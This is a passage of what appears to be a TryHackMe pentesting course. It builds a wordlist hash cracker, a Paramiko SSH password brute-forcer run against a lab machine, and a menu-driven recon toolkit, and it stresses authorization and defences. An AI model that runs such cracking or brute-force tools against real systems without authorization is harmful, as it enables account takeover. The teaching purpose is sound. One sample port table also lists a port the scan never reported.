If you completed the Building Scripts room, you already know the basics: Python’s hashlib module can compute hashes for strings using algorithms like MD5 and SHA-256. In that room, we hashed a single string and printed the digest. In this task, we take that foundation and build a practical hash cracker, a tool that compares a target hash against thousands of candidates from a wordlist to recover the plaintext value.

Why Hashes Cannot Be “Reversed”

Before we write code, let’s make sure the underlying concept is clear. One analogy would be a meat grinder. You can feed strawberries and milk into the blender and get a strawberry milkshake, but you cannot reconstruct the original strawberries from the milkshake. Hashing works the same way: the algorithm transforms input data into a fixed-length output (the digest), and that transformation is designed to be irreversible. There is no mathematical formula to “undo” an MD5 or SHA-256 hash.

So how do we crack one? We do not reverse the hash; instead, we try to reproduce it. We take a list of candidate plaintext values (a wordlist), hash each one with the same algorithm, and compare the resulting hash to the target hash. If we find a match, we have recovered the plaintext. This approach is called a dictionary attack, and its effectiveness depends entirely on the quality and size of the wordlist.

Consider the following simplified process:

  1. You discover the hash eccbc87e4b5ce2fe28308fd9f2a7baf3 in a database
  2. You suspect the plaintext is a number between 1 and 5
  3. You compute the MD5 hash of each candidate: 1, 2, 3, 4, 5
  4. The MD5 hash of 3 is eccbc87e4b5ce2fe28308fd9f2a7baf3; it matches
  5. The plaintext is 3

In practice, wordlists contain millions of entries: common passwords, dictionary words, keyboard patterns, and leaked credentials from past data breaches.

Building the Hash Cracker

Step 1: Hashing a Single Value

As we learned in the Building Scripts room, hashlib provides a consistent interface for computing hashes. Let’s create a function that hashes a string with a specified algorithm:

import hashlib

def compute_hash(text, algorithm="md5"):
    """Compute the hash of a string using the specified algorithm."""
    h = hashlib.new(algorithm)
    h.update(text.encode())
    return h.hexdigest()

The hashlib.new() constructor accepts the algorithm name as a string, making our function flexible. Instead of hardcoding hashlib.md5(), we can pass "md5", "sha256", "sha512", or any other algorithm hashlib supports. The .encode() call converts the string to bytes, which is what hashlib requires. The .hexdigest() method returns the hash as a hexadecimal string.

Step 2: The Cracking Function

Now let’s build the core cracking logic. This function reads candidates from a wordlist and compares each computed hash against the target:

def crack_hash(target_hash, wordlist_path, algorithm="md5"):
    """Attempt to find the plaintext for a hash using a wordlist."""
    try:
        with open(wordlist_path, "r") as f:
            for line_number, line in enumerate(f, start=1):
                candidate = line.strip()
                if not candidate:
                    continue

                candidate_hash = compute_hash(candidate, algorithm)
                print(f"[*] {candidate} -> {candidate_hash}")  # show work

                if candidate_hash == target_hash.lower():
                    print(f"[+] Match found after {line_number} attempts!")
                    print(f"[+] Plaintext: {candidate}")
                    return candidate

        print(f"[-] Exhausted wordlist. No match found.")
        return None

    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        return None

A few design decisions are worth discussing. We use enumerate(f, start=1) to track the line number as we iterate. This lets us report how many attempts it took to find the match, which is useful for gauging the effectiveness of the wordlist. We call target_hash.lower() to normalize the comparison; hashes are case-insensitive in terms of their hex representation, but a user might paste one with uppercase letters. The line.strip() call removes newlines and whitespace, just as we did in the load_wordlist function from Task 2.

Notice that we read the wordlist line by line using a for loop over the file object rather than loading the entire file into memory with .read() or .readlines(). As we discussed in Task 5 with streaming downloads, this approach keeps memory usage constant regardless of wordlist size. A wordlist like rockyou.txt contains over 14 million entries; loading it all at once would consume hundreds of megabytes of RAM.

Step 3: The Complete Script

import hashlib
import sys

def compute_hash(text, algorithm="md5"):
    """Compute the hash of a string using the specified algorithm."""
    h = hashlib.new(algorithm)
    h.update(text.encode())
    return h.hexdigest()

def crack_hash(target_hash, wordlist_path, algorithm="md5"):
    """Attempt to find the plaintext for a hash using a wordlist."""
    try:
        with open(wordlist_path, "r") as f:
            for line_number, line in enumerate(f, start=1):
                candidate = line.strip()
                if not candidate:
                    continue

                candidate_hash = compute_hash(candidate, algorithm)
                print(f"[*] {candidate} -> {candidate_hash}")  # show work

                if candidate_hash == target_hash.lower():
                    print(f"[+] Match found after {line_number} attempts!")
                    print(f"[+] Plaintext: {candidate}")
                    return candidate

        print(f"[-] Exhausted wordlist. No match found.")
        return None

    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        return None

def main():
    if len(sys.argv) < 3:
        print(f"Usage: python3 {sys.argv[0]} <hash> <wordlist> [algorithm]")
        print(f"Example: python3 {sys.argv[0]} 5f4dcc3b5aa765d61d8327deb882cf99 wordlist.txt md5")
        print(f"Supported: md5, sha1, sha256, sha512")
        sys.exit(1)

    target_hash = sys.argv[1]
    wordlist_path = sys.argv[2]
    algorithm = sys.argv[3] if len(sys.argv) > 3 else "md5"

    print(f"[*] Target hash: {target_hash}")
    print(f"[*] Algorithm:   {algorithm}")
    print(f"[*] Wordlist:    {wordlist_path}")
    print(f"[*] Cracking...\n")

    result = crack_hash(target_hash, wordlist_path, algorithm)

    if result:
        print(f"\n[*] Hash cracked successfully.")
    else:
        print(f"\n[*] Try a larger wordlist or a different algorithm.")

main()

The script defaults to MD5 but accepts any algorithm as an optional third argument. This means the same tool works for SHA-1, SHA-256, SHA-512, and others without code changes. Let’s test it against an MD5 hash:

Terminal
           ubuntu@tryhackme:~/Pentesting-Scripts$ python3 hash_cracker.py eccbc87e4b5ce2fe28308fd9f2a7baf3 numbers.txt
[*] Target hash: eccbc87e4b5ce2fe28308fd9f2a7baf3
[*] Algorithm:   md5
[*] Wordlist:    numbers.txt
[*] Cracking...

[*] 0 -> cfcd208495d565ef66e7dff9f98764da
[*] 1 -> c4ca4238a0b923820dcc509a6f75849b
[*] 2 -> c81e728d9d4c2f636f067f89cc14862c
[*] 3 -> eccbc87e4b5ce2fe28308fd9f2a7baf3
[+] Match found after 4 attempts!
[+] Plaintext: 3

[*] Hash cracked successfully.

        

Now let’s modify the algorithm to crack a SHA-256 hash. No code changes needed; we just pass the algorithm name:

Terminal
           ubuntu@tryhackme:~/Pentesting-Scripts$ python3 hash_cracker.py f9194e73f9e9459e3450ea10a179cdf77aafa695beecd3b9344a98d111622243 numbers.txt sha256
[*] Target hash: f9194e73f9e9459e3450ea10a179cdf77aafa695beecd3b9344a98d111622243
[*] Algorithm:   sha256
[*] Wordlist:    numbers.txt
[*] Cracking...

[*] 0 -> 5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9
[*] 1 -> 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
[*] 2 -> d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35
[*] 3 -> 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce
[*] 4 -> 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a
[*] 5 -> ef2d127de37b942baad06145e54b0c619a1f22327b2ebbcfbec78f5564afe39d
[*] zero -> f9194e73f9e9459e3450ea10a179cdf77aafa695beecd3b9344a98d111622243
[+] Match found after 7 attempts!
[+] Plaintext: zero

[*] Hash cracked successfully.

        

Why MD5 and SHA-1 Are Considered Weak

You might wonder why we still encounter MD5 hashes in the wild if they are known to be insecure. MD5 produces a 128-bit digest and is computationally fast, which is precisely the problem. A modern GPU can compute billions of MD5 hashes per second, making brute-force attacks practical even against reasonably complex passwords. SHA-1 (160-bit) has similar weaknesses. Both algorithms have known collision vulnerabilities, meaning it is possible to find two different inputs that produce the same hash.

For password storage, modern systems use purpose-built algorithms like bcrypt, scrypt, or Argon2. These algorithms are intentionally slow and include a salt (a random value mixed into the input) to make precomputed attacks infeasible. As a penetration tester, you will encounter MD5 and SHA-1 in legacy systems, older databases, and file integrity checks. Knowing how to crack them remains a practical skill.

The Defender’s Perspective

The most effective defense against hash cracking is not a single stronger hash algorithm; it is the combination of strong algorithms, salting, and password policies. Salting adds a unique random value to each password before hashing, which means two users with the same password produce different hashes. This defeats precomputed attacks like rainbow tables. Enforcing minimum password length and character variety requirements, and checking passwords against known breach databases (as in the Password Strength Checker we built in the Building Scripts room), dramatically increases the effort required for a dictionary attack to succeed.

?Answer the questions below

  1. During directory enumeration in Task 2, we discovered the http://MACHINE_IP:8000/apollo.html page. What is the cleartext value of the hash found in Task 2? (Use wordlist.txt .)
  2. Modify the script to work with SHA-256 hashes. Using the modified script, what is the cleartext value for 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60 ? (Use wordlist.txt .)
Task 7

Credential Testing: SSH Brute Forcing with Paramiko

Your port scanner from Task 4 revealed that the target machine has SSH running on port 22. During your directory enumeration in Task 2, you discovered a page containing usernames. You also cracked a hash and recovered a password in Task 6. But what if you have a list of usernames and no passwords, or a set of credentials you suspect might work across multiple services? Manually attempting each combination through an SSH client would take hours. This is precisely the scenario where an automated credential testing script saves time.

In this task, we will build an SSH brute-force tool using the Paramiko library, Python’s most widely used implementation of the SSHv2 protocol. Before we write a single line of code, however, we need to address the elephant in the room.

Authorization Is Non-Negotiable

Brute-force attacks are loud, disruptive, and illegal when performed without explicit authorization. Unlike passive reconnaissance or even port scanning (which might exist in a legal gray area depending on jurisdiction), actively attempting to authenticate against a system with credentials you do not own is a clear violation of the Computer Fraud and Abuse Act (CFAA) in the United States, the Computer Misuse Act (CMA) in the United Kingdom, and equivalent laws in most countries.

In a professional engagement, credential testing is explicitly defined in the Rules of Engagement (RoE) and Statement of Work (SOW). The document specifies which systems can be targeted, which accounts can be tested, and whether brute-force attacks are permitted. Some clients exclude brute-forcing entirely because it risks locking out legitimate user accounts. Always confirm the scope before running a tool like this.

In this room, you are authorized to test the target machine provided by TryHackMe. That authorization does not extend to any other system.

How SSH Authentication Works

Secure Shell (SSH) provides encrypted remote access to a system. When you connect to an SSH server, the server presents its host key (a cryptographic identity), and the client must authenticate, typically with a password or an SSH key pair. One analogy would be a building with a security desk. The guard (SSH server) checks your ID badge (credentials). If the badge is valid, you are allowed in. If not, the guard turns you away. A brute-force attack is like showing up with a stack of fake badges and trying each one until one works.

In technical terms, our script will:

  1. Read a list of passwords from a wordlist file
  2. For each password, attempt an SSH connection to the target
  3. If authentication succeeds, report the valid credential
  4. If it fails, move to the next candidate

Installing Paramiko

Paramiko is a third-party library. Usually, you can install it with pip3 install paramiko; however, depending on your system setup, you might need different commands. For example, on the provided Ubuntu system, we used sudo apt install python3-paramiko.

On the provided virtual machine, Paramiko is pre-installed.

Building the Brute Forcer

Step 1: Testing a Single Credential

Let’s start with a function that attempts a single SSH login:

import paramiko

def try_credential(target, username, password, port=22):
    """Attempt SSH login with the given credentials. Return True on success."""
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        ssh.connect(target, port=port, username=username, password=password, timeout=5)
        ssh.close()
        return True
    except paramiko.AuthenticationException:
        return False
    except (paramiko.SSHException, OSError) as e:
        print(f"[!] Connection error: {e}")
        return False

Let’s examine the key components. paramiko.SSHClient() creates a new SSH client instance. The set_missing_host_key_policy(paramiko.AutoAddPolicy()) call tells the client to automatically accept unknown host keys. In a production tool, you would want stricter host key verification, but for a testing script targeting known lab machines, auto-accepting keeps the script from prompting for manual confirmation on every attempt.

The ssh.connect() method performs the actual authentication attempt. We catch three distinct outcomes:

  • paramiko.AuthenticationException: the server responded but rejected the credentials. This is the expected failure case during brute-forcing, and we simply return False to try the next password.
  • paramiko.SSHException: a protocol-level error occurred (malformed response, unsupported algorithm, etc.).
  • OSError: a network-level error occurred (connection refused, timeout, unreachable host).

We separate AuthenticationException from the other errors because they mean fundamentally different things. A rejected password is normal; a connection error might indicate that the server is overloaded, has blocked your IP address, or is unreachable.

Step 2: Iterating Through the Wordlist

Now we wrap the single-credential function in a loop:

def brute_force_ssh(target, username, wordlist_path, port=22):
    """Try each password in the wordlist against the target SSH server."""
    try:
        with open(wordlist_path, "r") as f:
            passwords = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        return None

    print(f"[*] Loaded {len(passwords)} password(s) from {wordlist_path}")
    print(f"[*] Target: {target}:{port}")
    print(f"[*] Username: {username}\n")

    for attempt, password in enumerate(passwords, start=1):
        print(f"[*] Attempt {attempt}/{len(passwords)}: {password}")

        if try_credential(target, username, password, port):
            print(f"\n[+] Password found: {password}")
            return password

    print(f"\n[-] Exhausted wordlist. No valid password found.")
    return None

We load the entire wordlist upfront rather than reading line by line during the brute-force loop. Why the different approach compared to our hash cracker in Task 6? In the hash cracker, the bottleneck was CPU-bound hashing; reading one line at a time had no meaningful impact on performance. Here, the bottleneck is network latency; each SSH connection takes hundreds of milliseconds. Loading a few thousand lines into memory is negligible compared to the time spent waiting for SSH responses, and having the total count available lets us display meaningful progress.

Step 3: The Complete Script

import paramiko
import sys

def try_credential(target, username, password, port=22):
    """Attempt SSH login with the given credentials. Return True on success."""
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        ssh.connect(target, port=port, username=username, password=password, timeout=5)
        ssh.close()
        return True
    except paramiko.AuthenticationException:
        return False
    except (paramiko.SSHException, OSError) as e:
        print(f"[!] Connection error: {e}")
        return False

def brute_force_ssh(target, username, wordlist_path, port=22):
    """Try each password in the wordlist against the target SSH server."""
    try:
        with open(wordlist_path, "r") as f:
            passwords = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        return None

    print(f"[*] Loaded {len(passwords)} password(s) from {wordlist_path}")
    print(f"[*] Target: {target}:{port}")
    print(f"[*] Username: {username}\n")

    for attempt, password in enumerate(passwords, start=1):
        print(f"[*] Attempt {attempt}/{len(passwords)}: {password}")

        if try_credential(target, username, password, port):
            print(f"\n[+] Password found: {password}")
            return password

    print(f"\n[-] Exhausted wordlist. No valid password found.")
    return None

def main():
    if len(sys.argv) < 4:
        print(f"Usage: python3 {sys.argv[0]} <target> <username> <wordlist> [port]")
        print(f"Example: python3 {sys.argv[0]} MACHINE_IP admin passwords.txt 22")
        sys.exit(1)

    target = sys.argv[1]
    username = sys.argv[2]
    wordlist_path = sys.argv[3]
    port = int(sys.argv[4]) if len(sys.argv) > 4 else 22

    result = brute_force_ssh(target, username, wordlist_path, port)

    if result:
        print(f"\n[*] Valid credentials: {username}:{result}")
        print(f"[*] Connect with: ssh {username}@{target}")
    else:
        print(f"\n[*] Try a larger wordlist or a different username.")

main()

Let’s run it against the target machine. Use the username tester you found during directory enumeration in Task 2:

Terminal
           ubuntu@tryhackme:~/Pentesting-Scripts$ python3 ssh_brute.py MACHINE_IP tester wordlist.txt
[*] Loaded 58 password(s) from wordlist.txt
[*] Target: MACHINE_IP:22
[*] Username: tester

[*] Attempt 1/58: password
[*] Attempt 2/58: 123456
[*] Attempt 3/58: admin
[*] Attempt 4/58: letmein
[...]
[*] Valid credentials: tester:[RECACTED]
[*] Connect with: ssh tester@MACHINE_IP

        

Once you have valid credentials, connect via SSH and explore:

Terminal
           ubuntu@tryhackme:~$ ssh tester@MACHINE_IP
tester@MACHINE_IP's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-1012-aws x86_64)
[...]
tester@tryhackme:~$ ls
flag.txt

        

Performance and Real-World Considerations

You will notice that the script runs noticeably slower than the hash cracker. Each SSH attempt involves a full TCP connection, a cryptographic key exchange, and an authentication handshake, all over the network. This makes SSH brute-forcing inherently slower than offline attacks like hash cracking.

Professional tools like Hydra and Medusa address this by using parallel connections, testing multiple passwords simultaneously via threads or multiple processes. Our sequential script is intentionally simple, but the performance difference illustrates why threading (a topic beyond this room’s scope) matters for network-based attacks.

There is also a practical concern: account lockout policies. Many production systems lock an account after a threshold of failed login attempts (commonly 3 to 5). Brute-forcing such systems will lock out the target account, disrupting the client’s operations and violating the spirit of most engagements. Always check the RoE for lockout policies before running credential attacks.

The Defender’s Perspective

SSH brute-force attacks are among the most common threats facing internet-exposed servers. Defenders have several effective countermeasures:

  • Disable password authentication entirely and require SSH key pairs instead, which eliminates brute-force attacks altogether
  • Use **fail2ban** to monitor authentication logs and automatically block IP addresses after a configurable number of failed attempts
  • Change the default SSH port from 22 to a non-standard port, which reduces exposure to automated scanning bots (though this is security through obscurity, not a real defense on its own)
  • Implement rate limiting at the firewall level to throttle connection attempts from a single source
  • Enforce strong password policies so that dictionary attacks against common passwords become ineffective

?Answer the questions below

  1. What exception does Paramiko raise when the server rejects the provided credentials?
  2. In an earlier stage, we discovered the username tester . What is the SSH password for this user?
  3. What is the content of the flag.txt file?
Task 8

Bringing It Together: A Mini Recon Toolkit

Over the past six tasks, you built six standalone scripts: a subdomain enumerator, a directory enumerator, a network scanner, a port scanner, a file downloader, and a hash cracker. Each one solves a specific problem. But consider how you actually used them in this room. You ran the subdomain enumerator, copied the results, switched to the directory enumerator, ran that, noted the findings, opened the hash cracker in another terminal, pasted in the hash, and so on. Each transition required remembering file paths, copying output, and re-typing target information.

Now consider a real engagement with dozens of targets, multiple subnets, and hundreds of findings. Managing six separate scripts with no shared interface becomes unwieldy fast. Professional penetration testing frameworks like Metasploit solve this problem by providing a unified interface that ties together individual modules. We are not building Metasploit, but we can apply the same principle on a smaller scale: a menu-driven toolkit that wraps our existing functions into a single, cohesive program.

In this task, we will combine the web reconnaissance and port scanning tools from earlier tasks into an integrated mini-toolkit. This exercise is less about learning new Python concepts and more about practicing a critical software skill: organizing existing code into a maintainable structure.

The Design

Our toolkit will present the user with a numbered menu. Each option calls a function we already wrote and tested in earlier tasks. The main loop keeps the toolkit running until the user chooses to exit. One analogy would be a Swiss Army knife. Each blade (script) is useful on its own, but having them folded into a single handle (the toolkit) means you always have the right tool at hand without rummaging through your bag.

In technical terms, the toolkit structure follows a pattern you have seen before: a while True loop with break and continue, exactly like the Password Strength Checker from the Building Scripts room. The difference is scale; instead of one function, we are orchestrating several.

The Toolkit Code

Let’s walk through the complete script. Every function called below, load_wordlist, enumerate_subdomains, enumerate_directories, scan_ports, and resolve_target, is identical to the versions we built in Tasks 2 and 4. We are importing our own previous work, not writing new logic.

import requests
import socket
import sys

# ----- Reused functions from earlier tasks -----

def load_wordlist(filepath):
    """Read a wordlist file and return a list of stripped lines."""
    try:
        with open(filepath, "r") as f:
            words = [line.strip() for line in f if line.strip()]
        print(f"[*] Loaded {len(words)} entries from {filepath}")
        return words
    except FileNotFoundError:
        print(f"[!] Error: '{filepath}' not found.")
        return []

def enumerate_subdomains(domain, wordlist):
    """Test each subdomain candidate against the target domain."""
    found = []
    for sub in wordlist:
        url = f"http://{sub}.{domain}"
        try:
            requests.get(url, timeout=3)
            print(f"[+] Found: {url}")
            found.append(url)
        except (requests.ConnectionError, requests.Timeout):
            pass
    return found

def enumerate_directories(target_url, wordlist, extension=".html"):
    """Test each directory/file candidate against the target URL."""
    found = []
    for entry in wordlist:
        url = f"{target_url}/{entry}{extension}"
        try:
            r = requests.get(url, timeout=3)
            if r.status_code != 404:
                print(f"[+] {r.status_code} - {url}")
                found.append(url)
        except (requests.ConnectionError, requests.Timeout):
            pass
    return found

def resolve_target(target):
    """Resolve a hostname to an IP address."""
    try:
        ip = socket.gethostbyname(target)
        if ip != target:
            print(f"[*] Resolved {target} to {ip}")
        return ip
    except socket.gaierror:
        print(f"[!] Could not resolve {target}")
        return None

def probe_port(ip, port, timeout=0.5):
    """Attempt a TCP connection to ip:port."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        result = sock.connect_ex((ip, port))
        sock.close()
        return result == 0
    except socket.error:
        return False

def scan_ports(ip, port_range, timeout=0.5):
    """Scan a range of ports on the target IP."""
    open_ports = []
    for port in port_range:
        if probe_port(ip, port, timeout):
            print(f"[+] Port {port} is open")
            open_ports.append(port)
    return open_ports

# ----- Toolkit menu functions -----

def run_subdomain_enum():
    """Gather input and run subdomain enumeration."""
    domain = input("Enter target domain: ").strip()
    wordlist_path = input("Enter wordlist path: ").strip()

    wordlist = load_wordlist(wordlist_path)
    if not wordlist:
        return

    results = enumerate_subdomains(domain, wordlist)
    print(f"\n[*] Found {len(results)} subdomain(s).")

def run_directory_enum():
    """Gather input and run directory enumeration."""
    target_url = input("Enter target URL (e.g., http://10.10.10.5): ").strip()
    wordlist_path = input("Enter wordlist path: ").strip()
    extension = input("Enter file extension (default: .html): ").strip() or ".html"

    wordlist = load_wordlist(wordlist_path)
    if not wordlist:
        return

    results = enumerate_directories(target_url, wordlist, extension)
    print(f"\n[*] Found {len(results)} valid path(s).")

def run_port_scan():
    """Gather input and run a port scan."""
    target = input("Enter target IP or hostname: ").strip()
    max_port_str = input("Enter max port to scan (default: 1024): ").strip() or "1024"

    try:
        max_port = int(max_port_str)
    except ValueError:
        print("[!] Invalid port number.")
        return

    ip = resolve_target(target)
    if not ip:
        return

    print(f"\n[*] Scanning {ip} (ports 1-{max_port})...\n")
    open_ports = scan_ports(ip, range(1, max_port + 1))

    if open_ports:
        common_services = {
            21: "FTP", 22: "SSH", 23: "Telnet",
            25: "SMTP", 53: "DNS", 80: "HTTP",
            443: "HTTPS", 445: "SMB", 3306: "MySQL",
            3389: "RDP", 8080: "HTTP Proxy"
        }
        print(f"\n{'Port':<10}{'Likely Service':<20}")
        print("-" * 30)
        for port in sorted(open_ports):
            service = common_services.get(port, "Unknown")
            print(f"{port:<10}{service:<20}")
    else:
        print("[!] No open ports found.")

def show_menu():
    """Display the toolkit menu."""
    print("\n" + "=" * 40)
    print("   Python Pentester Toolkit")
    print("=" * 40)
    print("  1. Subdomain Enumeration")
    print("  2. Directory Enumeration")
    print("  3. Port Scan")
    print("  4. Exit")
    print("=" * 40)

# ----- Main loop -----

def main():
    actions = {
        "1": run_subdomain_enum,
        "2": run_directory_enum,
        "3": run_port_scan,
    }

    while True:
        show_menu()
        choice = input("\nSelect an option: ").strip()

        if choice == "4":
            print("[*] Exiting toolkit. Goodbye.")
            break
        elif choice in actions:
            print()
            actions[choice]()
        else:
            print("[!] Invalid option. Enter 1-4.")

main()

Key Design Patterns

Several patterns in this script are worth highlighting because they reflect real-world software design thinking.

The Dispatch Dictionary

Instead of writing a chain of if/elif/else statements to map menu choices to functions, we use a dictionary called actions that maps strings to function references. When the user enters "1", the expression actions["1"] retrieves the run_subdomain_enum function, and actions["1"]() calls it. This pattern is more maintainable than a long conditional chain; adding a new tool means adding one line to the dictionary and writing one new function. It is a technique you will encounter in professional Python codebases.

Wrapper Functions 

Notice that run_subdomain_enum, run_directory_enum, and run_port_scan do not contain the actual scanning logic. They handle user interaction (collecting input and validating it) and delegate the actual work to the functions we built earlier. This separation keeps the core logic reusable; the subdomain enumeration function does not care whether its arguments come from a menu prompt, a command-line argument, or another script. As we learned in the Building Scripts room, functions should do one thing and do it well.

Input Validation 

In run_port_scan, we wrap the int() conversion in a try/except block. If the user types “abc” instead of a port number, the script prints an error and returns to the menu instead of crashing. This is the same resilience pattern from the Building Scripts room, applied in a new context.

Running the Toolkit

Terminal
           ubuntu@tryhackme:~/Pentesting-Scripts$ python3 toolkit.py

========================================
   Python Pentester Toolkit
========================================
  1. Subdomain Enumeration
  2. Directory Enumeration
  3. Port Scan
  4. Exit
========================================

Select an option: 3

Enter target IP or hostname: MACHINE_IP
Enter max port to scan (default: 1024): 1024

[*] Scanning MACHINE_IP (ports 1-1024)...

[+] Port 22 is open
[+] Port 80 is open

Port      Likely Service      
------------------------------
22        SSH
80        HTTP
631       Unknown

========================================
   Python Pentester Toolkit
========================================
  1. Subdomain Enumeration
  2. Directory Enumeration
  3. Port Scan
  4. Exit
========================================

Select an option: 4
[*] Exiting toolkit. Goodbye.

        

The toolkit loops back to the menu after each operation, letting you chain multiple reconnaissance tasks without restarting. This mirrors the workflow of a real engagement: scan the network, note the live hosts, pivot to port scanning, then run directory enumeration against the web servers you discovered.

Extending the Toolkit

This capstone is intentionally minimal. In a real project, you might consider the following enhancements:

  • Add the remaining tools: integrate the file downloader, hash cracker, and SSH brute forcer as menu options 4, 5, and 6
  • Log all results to a file: write each tool’s findings to a timestamped log using the file I/O techniques from the Building Scripts room
  • Pass results between tools: let the port scanner’s output automatically feed into the directory enumerator (if port 8000 or 8080 is open, offer to scan for directories)
  • Accept command-line arguments: support both interactive mode and a non-interactive mode for automation (e.g., python3 toolkit.py --scan 10.10.10.0/24)

Each of these extensions uses concepts you have already learned. The point of this capstone is not to hand you a finished product but to demonstrate that individual scripts become far more powerful when they are composed into a workflow.

?Answer the questions below

  1. What data structure does the toolkit use to map menu choices to functions?
Task 9

Conclusion

Take a moment to consider where you started and where you are now. Three rooms ago, you wrote your first print("Hello World") and built a number-guessing game. Two rooms ago, you learned how to store data in lists and dictionaries, iterate with for loops, and manipulate strings. In the previous room, you organized code into functions, handled errors gracefully, read and wrote files, and imported libraries. In this room, you took every one of those skills and pointed them at real penetration testing problems.

What We Covered

Over the course of this room, you built six working security tools and integrated three of them into a unified toolkit:

  • Web reconnaissance (Task 2): You used the requests library to enumerate subdomains and directories with wordlist-driven HTTP probing. You learned how to interpret status codes, handle connection errors, and recognize the difference between a 404 (not found) and a 403 (forbidden but present).
  • Network discovery (Task 3): You used Scapy to craft and send ARP packets to discover live hosts on a local network. You learned why ARP scanning is more reliable than ICMP on networks where ping is blocked.
  • Port scanning (Task 4): You used the socket module to build a TCP connect scanner to identify open services on target hosts. You learned the difference between connect() and connect_ex(), and why performance matters at scale.
  • Automated downloads (Task 5): You built a flexible file downloader that handles single files, batch downloads from URL lists, and large files via streaming. You learned the critical distinction between binary and text write modes.
  • Hash cracking (Task 6): You extended your hashlib knowledge from the Building Scripts room into a practical dictionary attack tool. You learned why MD5 and SHA-1 are considered weak and how salting defends against precomputed attacks.
  • Credential testing (Task 7): You used Paramiko to automate SSH login attempts, discovering valid credentials from a wordlist. You learned about account lockout policies and the legal boundaries of brute-force testing.
  • Toolkit integration (Task 8): You combined individual scripts into a menu-driven program using dispatch dictionaries and wrapper functions, practicing the software design principle of separating logic from interface.

The Bigger Picture

Notice that these tools follow the natural flow of a penetration test. You started with external reconnaissance (subdomain and directory enumeration), moved to internal discovery (ARP scanning), identified services (port scanning), retrieved data (file downloads), cracked credentials (hash cracking), and gained access (SSH brute-forcing). This is not a coincidence; the room was structured to mirror the progression of a real engagement.

Also, notice what all of these scripts have in common from a Python perspective. Every script uses functions to organize logic. Every script uses try/except to handle failures without crashing. Every script uses with blocks for safe file handling. Every script uses f-strings for clean output. Every script accepts command-line arguments for flexibility. These are not just good habits; they are the patterns that separate a throwaway snippet from a reliable tool.

Where To Go From Here

This room gave you a foundation, but there is plenty of room to grow. Consider these directions for further exploration:

  • Threading and async I/O: Our port scanner and brute forcer run sequentially. Python’s threading and asyncio modules can dramatically speed up network-based tools by running multiple operations in parallel.
  • DNS enumeration: In Task 2, we probed subdomains via HTTP. A more sophisticated approach uses DNS queries directly with libraries like dnspython, which is faster and does not require the target to have a running web server.
  • Banner grabbing: After discovering open ports, connecting and reading the service banner reveals software versions, which you can then cross-reference against vulnerability databases.
  • Output formatting: Professional tools produce structured output in formats like JSON, CSV, or XML. Python’s built-in json and csv modules make this straightforward.
  • Packaging with PyInstaller: You can compile your Python scripts into standalone executables using PyInstaller, making them portable across systems that may not have Python installed.

Each of these builds directly on what you learned in this room and the three that preceded it.

?Answer the questions below

  1. I have completed the Python Pentesting Scripts room!